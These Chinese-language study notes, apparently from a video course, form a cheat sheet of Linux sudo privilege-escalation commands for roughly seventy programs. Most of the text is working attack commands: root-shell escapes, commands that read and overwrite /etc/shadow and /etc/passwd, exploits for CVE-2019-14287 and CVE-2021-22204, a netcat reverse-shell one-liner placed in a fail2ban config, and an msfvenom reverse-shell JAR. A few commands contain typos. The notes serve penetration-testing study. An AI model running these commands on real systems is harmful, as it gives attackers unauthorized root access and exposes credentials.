「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴全70讲,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。哔哩哔哩bilibili
工具使用
-
mkpasswd(计算字符串hash)
mkpasswd -m [加密算法] [data]
-
john(破解hash)
john [file] --wordlist=[list_file]
-
python(终端稳定)
python3 -c "import pty;pty.spwan('/bin/bash')"
终端稳定(提权后)
-
使用python进行spwan
-
监听新的反弹shell
-
新起一个bash(如果当前bash环境有问题)
sudo提权分类
-
可执行程序外部代码执行或共享库执行(代码执行)
-
通过参数执行恶意代码(引入恶意代码)
-
通过导入第三方库执行恶意代码(引入第三方库)
-
通过导入脚本文件执行恶意代码(引入脚本)
-
编辑器执行恶意代码(编辑器!/bin/bash)
-
编程语言参数执行恶意代码(引入恶意代码)
-
-
读取敏感文件爆破(file_read)
-
覆盖文件登录(file_write)
-
敏感程序
-
程序本身就是新建终端程序(bash、ash等)
-
程序具有破坏性(passwd更改密码,还有mount绑定执行)
-
大部分提权都是:一些程序给用户提供了代码执行的接口的利用、敏感信息泄露、敏感文件覆盖、和敏感程序的利用
以下代码执行51处、敏感信息泄露(file read)7处、敏感文件覆盖(write file)4处、敏感程序8处
cve2019-14287(敏感程序)
条件:
Version : Sudo <1.8.28
信息收集:
cat /etc/sudoers (ALL, !root) /bin/bash
exp:
sudo -u#-1 /bin/bash
apt(代码执行)
exp:
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
apache2(File read)
exp:
sudo apache2ctl -c "Include $LFILE" -k stop sudo apache2 -f "Include $LFILE"
ash(敏感程序)
exp:
sudo ash
awk(代码执行)
exp:
sudo awk 'BEGIN {system("/bin/sh")}'
Base64(File read)
exp:
LFILE=file_to_read sudo base64 "$LFILE" | base64 --decode
Bash/ ash/ csh/ dash/ tclsh/ zsh(敏感程序)
exp:
sudo bash
cp(file write)
exp:
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF ./cp $TF $LFILE
cpulimit(代码执行)
exp:
sudo cpulimit -l 100 -f /bin/bash
curl(file write)
exp:
sudo curl [url] -o /etc/shadow
date(file read)
exp:
sudo date -f /etc/shadow
dd(file write)
exp:
echo 'data' | sudo dd of=/etc/shadow
dstat(引入脚本)
信息收集:
find / -name dstat -type d 2>/dev/null 查询dstat脚本目录
exp:
sudo dstat --[plugin_script]
ed(编辑器)
sudo ed !/bin/bash
env(代码执行)
sudo env /bin/bash
cve2021-22204(代码执行)
vim payload (恶意脚本) bzz payload payload.bzz (压缩) djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=pqyload.bzz sudo exiftool
条件:
version 7.44~12.23
expect(代码执行)
sudo expect -c "spawn /bin/bash;interact"
fail2ban(用于处理多次规则的脚本)(引入脚本)
条件:
查看/etc/fail2ban/action.d目录是否存在且可写
exp:
修改iptables-mutiport.conf: actionban = rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc [ip port] >/tmp/f fail2ban restart 多次登录触发规则
find(代码执行)
sudo find . -exec /bin/bash \; -quit
flock(代码执行)
简介:
管理文件锁定,协调多个进程对同一文件的访问
exp:
sudo flock -u / /bin/bash 解析: 格式: flock [options] [program] -u:对目录中的程序解锁,允许他被program操作
ftp(编辑器)
sudo ftp !/bin/bash
gcc(代码执行)
sudo gcc -wrapper /bin/bash,-s .
gdb(代码执行)
sudo gdb -nx -ex '!bash' -ex quit
git(编辑器)
sudo git branch --help !/bin/bash
gzip/gunzip(file read)
sudo gzip -f /etc/shadow -t 解析: -f:强制 -t:在终端显示
hping3(编辑器)
sudo hping3 /bin/bash
iftop(代码执行)
简介:
网络流量监控工具,监控网络接口
sudo iftop ! /bin/bash
java(reverse shell)(代码执行)
sudo msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f jar -o shell.jar wget [url] chmod +x shell.jar sudo java -jar shell.jar
jjs(引入脚本)
pantest monkey网站上有相关exp 将脚本给到jjs,让jjs执行脚本
journaltour(编辑器)
简介:
管理日志的,再system ctl体系下
条件:
发行版不禁用journaltour的!命令
exp:
sudo journaltour !/bin/bash
knife(代码执行)
简介:
chef的命令行接口,chef是自动化工具和配置工具,用具管理服务器和基础设备
exp:
sudo knife exec -E 'exec "/bin/bash"' 解析 -E:引入ruby的脚本并执行
less(less/类less机制)(编辑器)
sudo less [file] !/bin/bash
man(less/类less机制)(编辑器)
简介:查看应用的帮助文件
sudo man ls (查看ls的帮助文件) !/bin/bash
more(less/类less机制)(编辑器)
sudo more [file](要求file中有内容) !/bin/bash
mount(绑定执行)
简介:
挂载文件系统(磁盘或共享目录)
exp:
sudo mount -o bind /bin/bash /usr/bin/mount 将/bin/bash 和 /usr/bin/mount绑定
mysql(代码执行)
sudo mysql -e '\!/bin/bash'
nano(less/类less机制)(编辑器)
简介:
文本编辑器
exp:
sudo nano ctrl + r ctrl + x reset;bash 1>&0 2>&0
neofetch(引入脚本)
简介:
命令行程序,用于显示操作系统桌面环境等信息,能通过配置文件改变输出格式
exp:
sudo neofetch --config [payload_file]
nice(代码执行)
简介:
用于修改进程的优先级
exp:
sudo nice /bin/bash
nmap(引入脚本)
sudo nmap --script=[payload_file]
node(引入脚本)
sudo node -e "[node.js_code]" require('child_process').spawn('/bin/bash',{stdio:[0,1,1]})
nohup(代码执行)
简介:
运行命令,即使终端关闭,进程依旧运行
sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
openvpn(file_read)
sudo openvpn --config /etc/shadow
passwd(敏感程序)
sudo passwd root
perl(引入脚本)
sudo perl -e "[perl_code]" exec "/bin/bash";
php(引入脚本)
sudo php -r "[php_code]" system('/bin/bash');
pico(编辑器)
简介:编辑器
ctrl + r ctrl + x reset;bash 1>&0 2>&0
pkexec(代码执行)
简介:
是一种服务(policy kit),管理系统策略,允许非特权进程通信执行特权任务
sudo pkexec /bin/bash
python3(引入脚本)
sudo python3 -c "import os;os/system('/bin/bash')"
rvim(引入脚本)
简介:
vim编辑器特定版本
exp:
sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'
scp(引入脚本)
scp scp -S [payload_file] x y:
screen(敏感程序)
简介:
终端复用工具
sudo screen
script(敏感程序)
简介:
启动新的shell会话
sudo script -q /dev/null
sed(代码执行)
简介:编辑器
sudo sed -n '1e exec bash 1>&0' /etc/hosts
service(代码执行)
简介:
管理linux服务
sudo service ../../bin/bash
socat(代码执行)
简介:网络工具,建立传输通道
sudo socat stdin exec:/bin/bash
ssh(代码执行)
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
ssh-keygen(引入动态链接库)
通过引入动态链接库执行bash sudo ssh-keygen -D [动态链接库路径]
strace(代码执行)
简介:
追踪和记录另一个进程的系统调用和接受
exp:
sudo strace -o /dev/null /bin/bash
systemctl(编辑器)
sudo systemctl !bin/bash
tcpdump(引入脚本)
简介:
监听或捕获网络流量,可以传递给脚本执行
exp:
sudo tcpdump -ln -i [网卡名称] -w /dev/null -W 1 -G 1 -z [payload_file] -Z root
tee(file write可追加)
简介:
将输入的数据写入文件的同时,输出到标准输出中
exp:
echo '[passwd文件添加新用户的信息]' | sudo tee -a /etc/passwd -a:追加
timedatectl(编辑器)
sudo timedatectl list-timezones !/bin/bash
tmux(敏感程序)
sudo tmux
vi(编辑器)(代码执行)
sudo vi :!/bin/bash sudo vi -c ':!/bin/bash' /dev/null
wall(file read)
简介:
wall是广播消息的命令,可发送信息到所有打开的终端,可读取广播消息文件
exp:
sudo wall --no /etc/shadow
watch(代码执行)
简介:
linux系统上周期性执行命令并显示结果的程序
exp:
sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'
wget(write_file)(代码执行)
# 写入文件覆盖提权 wget -O # 读取敏感变量提权 sudo wget --use-askpass=[包含payload的变量] 0
zip(代码执行)
sudo zip foo /etc/hostname -T -TT 'bash #'
xxd(read file)
简介:
将二进制文件转成16进制
sudo xxd /etc/shadow | xxd -r